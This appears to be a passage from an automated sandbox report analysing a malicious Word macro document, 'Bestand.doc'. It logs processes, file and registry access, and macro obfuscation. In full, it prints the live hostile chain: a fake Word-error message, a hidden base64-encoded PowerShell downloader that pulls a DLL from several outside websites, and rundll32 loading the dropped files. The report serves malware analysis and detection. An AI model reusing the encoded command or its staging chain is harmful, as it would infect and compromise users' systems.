Source: rundll32.exe, 00000006.00000002.2097659737.0000000001BA0000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2095270294.0000000001E80000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2097228304.0000000002020000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2099371824.0000000001E80000.00000002.00000001.sdmp, rundll32.exe, 0000000D.00000002.2104055243.0000000002010000.00000002.00000001.sdmp Binary or memory string: .VBPud<_
Source: classification engine Classification label: mal100.troj.expl.evad.winDOC@34/8@4/5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 19_2_006F1C88 CreateToolhelp32Snapshot, 19_2_006F1C88
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10002D70 SysAllocString,CoCreateInstance,PropVariantClear,SysFreeString,SysFreeString, 7_2_10002D70
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\Desktop\~$estand.doc Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: \Sessions\1\BaseNamedObjects\Global\.net clr networking
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\CVRC7E0.tmp Jump to behavior
Source: Bestand.doc OLE indicator, Word Document stream: true
Source: Bestand.doc OLE document summary: title field not present or empty
Source: Bestand.doc OLE document summary: edited time not present or 0
Source: C:\Windows\System32\msg.exe Console Write: ............f........................... .;.......;.....................................#...............................h.......5kU............. Jump to behavior
Source: C:\Windows\System32\msg.exe Console Write: ............f...................A.s.y.n.c. .m.e.s.s.a.g.e. .s.e.n.t. .t.o. .s.e.s.s.i.o.n. .C.o.n.s.o.l.e.......X.......L....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................................................`I.........v.....................K......X............................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v......................2j....................................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v......................2j..... ..............................}..v....H.......0...............X............................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v......................2j....................................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v......................2j....8...............................}..v............0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....#...............K.2j....................................}..v....H?......0............................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .................B......#....................... ............................................................................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....'.................2j....E...............................}..v.....1......0...............8............................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................y=.v....+.................2j....E...............................}..v.....p......0...............8............................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_64\mscorlib\fe6ac93181b40a571892e14bfb9d65f2\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE WMI Queries: IWbemServices::ExecMethod - Win32_Process::Create
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Windows\System32\msg.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\rundll32.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: unknown Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Lqpw_5i\F4w0osc\R95F.dll Control_RunDLL
Source: Bestand.doc Virustotal: Detection: 61%
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
Source: unknown Process created: C:\Windows\System32\cmd.exe cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD IAAgAHMAZQBUAC0ASQB0AEUATQAgACAAdgBhAFIAaQBBAEIATABFADoAMAA5AFAAIAAgACgAWwBUAHkAUABFAF0AKAAiAHsAMAB9AHsAMwB9AHsAMgB9AHsAMQB9ACIALQBGACAAJwBTAHkAJwAsACcAYwB0AE8AcgBZACcALAAnAC4AaQBvAC4ARABJAHIARQAnACwAJwBzAHQAZQBNACcAKQApACAAIAA7ACAAIAAgAHMAZQBUAC0AaQB0AEUATQAgACgAJwBWACcAKwAnAEEAcgAnACsAJwBpAEEAYgBMAEUAOgBhAHYANQAnACsAJwBMACcAKwAnAG8AUgAnACkAIAAgACgAWwB0AFkAcABlAF0AKAAiAHsAMAB9AHsANwB9AHsAMQB9AHsAMwB9AHsANAB9AHsANgB9AHsANQB9AHsAMgB9ACIALQBmACAAJwBTAHkAUwAnACwAJwBlAG0ALgBOAGUAVAAuAFMAZQByAHYAJwAsACcAZQByACcALAAnAEkAJwAsACcAYwBlAHAAbwAnACwAJwB0AE0AYQBuAGEAZwAnACwAJwBJAG4AJwAsACcAVAAnACkAIAApACAAOwAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACgAJwBTACcAKwAnAGkAbABlAG4AJwApACsAKAAnAHQAbAB5AEMAJwArACcAbwBuAHQAJwApACsAJwBpACcAKwAoACcAbgAnACsAJwB1AGUAJwApACkAOwAkAEQAOAAxAHYAbAA2AGwAPQAkAFAAMQAyAFIAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAE8AOQA4AEUAOwAkAFIAXwAxAFoAPQAoACcASwAyACcAKwAnADYARQAnACkAOwAgACAAKABHAGMAaQAgAHYAQQByAEkAQQBCAEwAZQA6ADAAOQBwACAAKQAuAFYAQQBMAHUAZQA6ADoAIgBDAFIARQBhAGAAVABlAGAARABJAHIAYABlAGAAQwBUAE8AcgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAQgAnACsAKAAnAEcAJwArACcARgBMAHEAJwArACcAcAB3AF8ANQBpAEIAJwArACcARwAnACkAKwAoACcARgBGADQAdwAwACcAKwAnAG8AJwApACsAJwBzAGMAJwArACgAJwBCAEcAJwArACcARgAnACkAKQAgAC0AQwBSAGUAcABMAEEAYwBFACgAJwBCAEcAJwArACcARgAnACkALABbAGMASABhAHIAXQA5ADIAKQApADsAJABDADYAOQBWAD0AKAAnAFUAOQAnACsAJwA0AFYAJwApADsAIAAgACgAIABWAEEAcgBpAGEAYgBsAEUAIAAgACgAIgBBAHYANQAiACsAIgBMAG8AIgArACIAcgAiACkAIAAtAHYAQQBsAHUARQBvAG4AIAApADoAOgAiAHMAYABFAGMAVQBSAGkAYABUAHkAcABgAFIATwB0AGAATwBjAG8AbAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQATgA4ADAAVgA9ACgAJwBGADgAJwArACcAOABZACcAKQA7ACQAUgBnAGIAMABmAHEAcAAgAD0AIAAoACgAJwBSADkAJwArACcANQAnACkAKwAnAEYAJwApADsAJABIADIAMwBJAD0AKAAnAFYAJwArACgAJwAwACcAKwAnADQAUAAnACkAKQA7ACQARwBxAGwAdwA5AHQAZAA9ACQASABPAE0ARQArACgAKAAnAHsAMAB9AEwAcQAnACsAJwBwAHcAXwA1AGkAewAwAH0AJwArACcARgAnACsAJwA0AHcAJwArACcAMABvAHMAYwB7ADAAfQAnACkALQBmACAAIABbAEMAaABhAHIAXQA5ADIAKQArACQAUgBnAGIAMABmAHEAcAArACgAJwAuACcAKwAoACcAZAAnACsAJwBsAGwAJwApACkAOwAkAEQAMwA0AFMAPQAoACcAVgA1ACcAKwAnADkAVAAnACkAOwAkAEwAegA3ADQANgA4AHMAPQAoACgAJwBdAGEAJwArACcAbgAnACkAKwAoACcAdwBbADMAJwArACcAOgAnACkAKwAnAC8ALwAnACsAKAAnAGgAYQBuAGcAJwArACcAYQAnACkAKwAoACcAcgBsAGEAJwArACcAcwAnACkAKwAoACcAdABpAGsALgAnACsAJwBjACcAKQArACgAJwBvACcAKwAnAG0ALwAnACsAJwBjAGcAaQAnACkAKwAoACcALQBiAGkAJwArACcAbgAvACcAKwAnAFUAaQA0ACcAKQArACgAJwBuACcAKwAnAC8AQAAnACkAKwAnAF0AYQAnACsAKAAnAG4AdwBbADMAJwArACcAOgAnACsAJwAvAC8AJwApACsAKAAnAHAAJwArACcAYQBkAHIAJwArACcAZQBlAHMAYwAnACsAJwBhAHAAJwArACcAZQBzACcAKwAnAC4AYwBvAG0ALwBiACcAKwAnAGwAJwApACsAKAAnAG8AZwAvADAAJwArACcASQAvAEAAJwApACsAKAAnAF0AJwArACcAYQBuACcAKQArACcAdwBbACcAKwAoACcAMwA6ACcAKwAnAC8ALwBzACcAKQArACcAYQAnACsAJwByACcAKwAnAHQAJwArACcAdQByACcAKwAnAGUALgAnACsAKAAnAGMAJwArACcAbwBtAC8AdwBwACcAKQArACgAJwAtAGkA
Source: unknown Process created: C:\Windows\System32\msg.exe msg user /v Word experienced an error trying to open the file.
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IAAgAHMAZQBUAC0ASQB0AEUATQAgACAAdgBhAFIAaQBBAEIATABFADoAMAA5AFAAIAAgACgAWwBUAHkAUABFAF0AKAAiAHsAMAB9AHsAMwB9AHsAMgB9AHsAMQB9ACIALQBGACAAJwBTAHkAJwAsACcAYwB0AE8AcgBZACcALAAnAC4AaQBvAC4ARABJAHIARQAnACwAJwBzAHQAZQBNACcAKQApACAAIAA7ACAAIAAgAHMAZQBUAC0AaQB0AEUATQAgACgAJwBWACcAKwAnAEEAcgAnACsAJwBpAEEAYgBMAEUAOgBhAHYANQAnACsAJwBMACcAKwAnAG8AUgAnACkAIAAgACgAWwB0AFkAcABlAF0AKAAiAHsAMAB9AHsANwB9AHsAMQB9AHsAMwB9AHsANAB9AHsANgB9AHsANQB9AHsAMgB9ACIALQBmACAAJwBTAHkAUwAnACwAJwBlAG0ALgBOAGUAVAAuAFMAZQByAHYAJwAsACcAZQByACcALAAnAEkAJwAsACcAYwBlAHAAbwAnACwAJwB0AE0AYQBuAGEAZwAnACwAJwBJAG4AJwAsACcAVAAnACkAIAApACAAOwAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACgAJwBTACcAKwAnAGkAbABlAG4AJwApACsAKAAnAHQAbAB5AEMAJwArACcAbwBuAHQAJwApACsAJwBpACcAKwAoACcAbgAnACsAJwB1AGUAJwApACkAOwAkAEQAOAAxAHYAbAA2AGwAPQAkAFAAMQAyAFIAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAE8AOQA4AEUAOwAkAFIAXwAxAFoAPQAoACcASwAyACcAKwAnADYARQAnACkAOwAgACAAKABHAGMAaQAgAHYAQQByAEkAQQBCAEwAZQA6ADAAOQBwACAAKQAuAFYAQQBMAHUAZQA6ADoAIgBDAFIARQBhAGAAVABlAGAARABJAHIAYABlAGAAQwBUAE8AcgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAQgAnACsAKAAnAEcAJwArACcARgBMAHEAJwArACcAcAB3AF8ANQBpAEIAJwArACcARwAnACkAKwAoACcARgBGADQAdwAwACcAKwAnAG8AJwApACsAJwBzAGMAJwArACgAJwBCAEcAJwArACcARgAnACkAKQAgAC0AQwBSAGUAcABMAEEAYwBFACgAJwBCAEcAJwArACcARgAnACkALABbAGMASABhAHIAXQA5ADIAKQApADsAJABDADYAOQBWAD0AKAAnAFUAOQAnACsAJwA0AFYAJwApADsAIAAgACgAIABWAEEAcgBpAGEAYgBsAEUAIAAgACgAIgBBAHYANQAiACsAIgBMAG8AIgArACIAcgAiACkAIAAtAHYAQQBsAHUARQBvAG4AIAApADoAOgAiAHMAYABFAGMAVQBSAGkAYABUAHkAcABgAFIATwB0AGAATwBjAG8AbAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQATgA4ADAAVgA9ACgAJwBGADgAJwArACcAOABZACcAKQA7ACQAUgBnAGIAMABmAHEAcAAgAD0AIAAoACgAJwBSADkAJwArACcANQAnACkAKwAnAEYAJwApADsAJABIADIAMwBJAD0AKAAnAFYAJwArACgAJwAwACcAKwAnADQAUAAnACkAKQA7ACQARwBxAGwAdwA5AHQAZAA9ACQASABPAE0ARQArACgAKAAnAHsAMAB9AEwAcQAnACsAJwBwAHcAXwA1AGkAewAwAH0AJwArACcARgAnACsAJwA0AHcAJwArACcAMABvAHMAYwB7ADAAfQAnACkALQBmACAAIABbAEMAaABhAHIAXQA5ADIAKQArACQAUgBnAGIAMABmAHEAcAArACgAJwAuACcAKwAoACcAZAAnACsAJwBsAGwAJwApACkAOwAkAEQAMwA0AFMAPQAoACcAVgA1ACcAKwAnADkAVAAnACkAOwAkAEwAegA3ADQANgA4AHMAPQAoACgAJwBdAGEAJwArACcAbgAnACkAKwAoACcAdwBbADMAJwArACcAOgAnACkAKwAnAC8ALwAnACsAKAAnAGgAYQBuAGcAJwArACcAYQAnACkAKwAoACcAcgBsAGEAJwArACcAcwAnACkAKwAoACcAdABpAGsALgAnACsAJwBjACcAKQArACgAJwBvACcAKwAnAG0ALwAnACsAJwBjAGcAaQAnACkAKwAoACcALQBiAGkAJwArACcAbgAvACcAKwAnAFUAaQA0ACcAKQArACgAJwBuACcAKwAnAC8AQAAnACkAKwAnAF0AYQAnACsAKAAnAG4AdwBbADMAJwArACcAOgAnACsAJwAvAC8AJwApACsAKAAnAHAAJwArACcAYQBkAHIAJwArACcAZQBlAHMAYwAnACsAJwBhAHAAJwArACcAZQBzACcAKwAnAC4AYwBvAG0ALwBiACcAKwAnAGwAJwApACsAKAAnAG8AZwAvADAAJwArACcASQAvAEAAJwApACsAKAAnAF0AJwArACcAYQBuACcAKQArACcAdwBbACcAKwAoACcAMwA6ACcAKwAnAC8ALwBzACcAKQArACcAYQAnACsAJwByACcAKwAnAHQAJwArACcAdQByACcAKwAnAGUALgAnACsAKAAnAGMAJwArACcAbwBtAC8AdwBwACcAKQArACgAJwAtAGkAbgBjACcAKwAnAGwAJwArACcAdQAnACkAKwAoACcAZABlAHMAJwArACcALwBKAEQAO
Source: unknown Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Lqpw_5i\F4w0osc\R95F.dll Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Lqpw_5i\F4w0osc\R95F.dll Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Pqryhcbuipyk\timgojzfiiv.pkf',Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Smbjrydierlk\vhfvfjykmpc.gpr',Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Zighjhitzytphbn\uglqlahctjehdp.dot',Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Kviedw\vklxa.red',Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Jwivvemqsvj\ytoymdqmxu.lfx',Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Xjfxyzhrduzjhpv\whfytnwxpdgksj.gxy',Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Yvmidjdy\junkzqh.mrj',Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Keqofngu\zdyvzfg.cjv',Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ngtbqtsge\bgcbpmtq.wzo',Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Loyvqvaohpqmmxv\wleeyowrrvrssq.giw',Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Rqvte\amll.nuu',Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Gpjmjgasqrjuply\qjwbjnwqtblulz.cqq',Control_RunDLL
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\msg.exe msg user /v Word experienced an error trying to open the file. Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IAAgAHMAZQBUAC0ASQB0AEUATQAgACAAdgBhAFIAaQBBAEIATABFADoAMAA5AFAAIAAgACgAWwBUAHkAUABFAF0AKAAiAHsAMAB9AHsAMwB9AHsAMgB9AHsAMQB9ACIALQBGACAAJwBTAHkAJwAsACcAYwB0AE8AcgBZACcALAAnAC4AaQBvAC4ARABJAHIARQAnACwAJwBzAHQAZQBNACcAKQApACAAIAA7ACAAIAAgAHMAZQBUAC0AaQB0AEUATQAgACgAJwBWACcAKwAnAEEAcgAnACsAJwBpAEEAYgBMAEUAOgBhAHYANQAnACsAJwBMACcAKwAnAG8AUgAnACkAIAAgACgAWwB0AFkAcABlAF0AKAAiAHsAMAB9AHsANwB9AHsAMQB9AHsAMwB9AHsANAB9AHsANgB9AHsANQB9AHsAMgB9ACIALQBmACAAJwBTAHkAUwAnACwAJwBlAG0ALgBOAGUAVAAuAFMAZQByAHYAJwAsACcAZQByACcALAAnAEkAJwAsACcAYwBlAHAAbwAnACwAJwB0AE0AYQBuAGEAZwAnACwAJwBJAG4AJwAsACcAVAAnACkAIAApACAAOwAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACgAJwBTACcAKwAnAGkAbABlAG4AJwApACsAKAAnAHQAbAB5AEMAJwArACcAbwBuAHQAJwApACsAJwBpACcAKwAoACcAbgAnACsAJwB1AGUAJwApACkAOwAkAEQAOAAxAHYAbAA2AGwAPQAkAFAAMQAyAFIAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAE8AOQA4AEUAOwAkAFIAXwAxAFoAPQAoACcASwAyACcAKwAnADYARQAnACkAOwAgACAAKABHAGMAaQAgAHYAQQByAEkAQQBCAEwAZQA6ADAAOQBwACAAKQAuAFYAQQBMAHUAZQA6ADoAIgBDAFIARQBhAGAAVABlAGAARABJAHIAYABlAGAAQwBUAE8AcgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAQgAnACsAKAAnAEcAJwArACcARgBMAHEAJwArACcAcAB3AF8ANQBpAEIAJwArACcARwAnACkAKwAoACcARgBGADQAdwAwACcAKwAnAG8AJwApACsAJwBzAGMAJwArACgAJwBCAEcAJwArACcARgAnACkAKQAgAC0AQwBSAGUAcABMAEEAYwBFACgAJwBCAEcAJwArACcARgAnACkALABbAGMASABhAHIAXQA5ADIAKQApADsAJABDADYAOQBWAD0AKAAnAFUAOQAnACsAJwA0AFYAJwApADsAIAAgACgAIABWAEEAcgBpAGEAYgBsAEUAIAAgACgAIgBBAHYANQAiACsAIgBMAG8AIgArACIAcgAiACkAIAAtAHYAQQBsAHUARQBvAG4AIAApADoAOgAiAHMAYABFAGMAVQBSAGkAYABUAHkAcABgAFIATwB0AGAATwBjAG8AbAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQATgA4ADAAVgA9ACgAJwBGADgAJwArACcAOABZACcAKQA7ACQAUgBnAGIAMABmAHEAcAAgAD0AIAAoACgAJwBSADkAJwArACcANQAnACkAKwAnAEYAJwApADsAJABIADIAMwBJAD0AKAAnAFYAJwArACgAJwAwACcAKwAnADQAUAAnACkAKQA7ACQARwBxAGwAdwA5AHQAZAA9ACQASABPAE0ARQArACgAKAAnAHsAMAB9AEwAcQAnACsAJwBwAHcAXwA1AGkAewAwAH0AJwArACcARgAnACsAJwA0AHcAJwArACcAMABvAHMAYwB7ADAAfQAnACkALQBmACAAIABbAEMAaABhAHIAXQA5ADIAKQArACQAUgBnAGIAMABmAHEAcAArACgAJwAuACcAKwAoACcAZAAnACsAJwBsAGwAJwApACkAOwAkAEQAMwA0AFMAPQAoACcAVgA1ACcAKwAnADkAVAAnACkAOwAkAEwAegA3ADQANgA4AHMAPQAoACgAJwBdAGEAJwArACcAbgAnACkAKwAoACcAdwBbADMAJwArACcAOgAnACkAKwAnAC8ALwAnACsAKAAnAGgAYQBuAGcAJwArACcAYQAnACkAKwAoACcAcgBsAGEAJwArACcAcwAnACkAKwAoACcAdABpAGsALgAnACsAJwBjACcAKQArACgAJwBvACcAKwAnAG0ALwAnACsAJwBjAGcAaQAnACkAKwAoACcALQBiAGkAJwArACcAbgAvACcAKwAnAFUAaQA0ACcAKQArACgAJwBuACcAKwAnAC8AQAAnACkAKwAnAF0AYQAnACsAKAAnAG4AdwBbADMAJwArACcAOgAnACsAJwAvAC8AJwApACsAKAAnAHAAJwArACcAYQBkAHIAJwArACcAZQBlAHMAYwAnACsAJwBhAHAAJwArACcAZQBzACcAKwAnAC4AYwBvAG0ALwBiACcAKwAnAGwAJwApACsAKAAnAG8AZwAvADAAJwArACcASQAvAEAAJwApACsAKAAnAF0AJwArACcAYQBuACcAKQArACcAdwBbACcAKwAoACcAMwA6ACcAKwAnAC8ALwBzACcAKQArACcAYQAnACsAJwByACcAKwAnAHQAJwArACcAdQByACcAKwAnAGUALgAnACsAKAAnAGMAJwArACcAbwBtAC8AdwBwACcAKQArACgAJwAtAGkAbgBjACcAKwAnAGwAJwArACcAdQAnACkAKwAoACcAZABlAHMAJwArACcALwBKAEQAO Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Lqpw_5i\F4w0osc\R95F.dll Control_RunDLL Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Lqpw_5i\F4w0osc\R95F.dll Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Pqryhcbuipyk\timgojzfiiv.pkf',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Smbjrydierlk\vhfvfjykmpc.gpr',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Zighjhitzytphbn\uglqlahctjehdp.dot',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Kviedw\vklxa.red',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Jwivvemqsvj\ytoymdqmxu.lfx',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Xjfxyzhrduzjhpv\whfytnwxpdgksj.gxy',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Yvmidjdy\junkzqh.mrj',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Keqofngu\zdyvzfg.cjv',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ngtbqtsge\bgcbpmtq.wzo',Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Loyvqvaohpqmmxv\wleeyowrrvrssq.giw',Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Rqvte\amll.nuu',Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Gpjmjgasqrjuply\qjwbjnwqtblulz.cqq',Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: E:\WindowsSDK7-Samples-master\WindowsSDK7-Samples-master\winui\shell\appshellintegration\RecipePropertyHandler\Win32\Release\RecipePropertyHandler.pdb source: rundll32.exe, 00000007.00000002.2097438801.000000001000D000.00000002.00020000.sdmp
Source: Binary string: ws\System.pdbpdbtem.pdb\B source: powershell.exe, 00000005.00000002.2095066862.0000000002C37000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\System.pdbE source: powershell.exe, 00000005.00000002.2095066862.0000000002C37000.00000004.00000040.sdmp
Source: Binary string: ws\dll\System.pdb source: powershell.exe, 00000005.00000002.2095066862.0000000002C37000.00000004.00000040.sdmp
Source: Binary string: <ystem.pdbD source: powershell.exe, 00000005.00000002.2095066862.0000000002C37000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\symbols\dll\System.pdblogwW source: powershell.exe, 00000005.00000002.2095066862.0000000002C37000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.pdbrac source: powershell.exe, 00000005.00000002.2095066862.0000000002C37000.00000004.00000040.sdmp
Source: Binary string: System.pdb source: powershell.exe, 00000005.00000002.2095066862.0000000002C37000.00000004.00000040.sdmp
Source: Binary string: System.pdb8 source: powershell.exe, 00000005.00000002.2095066862.0000000002C37000.00000004.00000040.sdmp
Source: Binary string: mscorrc.pdb source: powershell.exe, 00000005.00000002.2094801534.0000000002780000.00000002.00000001.sdmp
Source: Bestand.doc Initial sample: OLE summary subject = didactic Intelligent system Incredible Wooden Sausages Developer Practical Plastic Cheese port Awesome Fresh Chicken Maine

Data Obfuscation:

barindex
Document contains an embedded VBA with many GOTO operations indicating source code obfuscation
Source: Bestand.doc Stream path 'Macros/VBA/A81c_pcot0t3c8' : High number of GOTO operations
Source: VBA code instrumentation OLE, VBA macro, High number of GOTO operations: Module A81c_pcot0t3c8 Name: A81c_pcot0t3c8
Obfuscated command line found
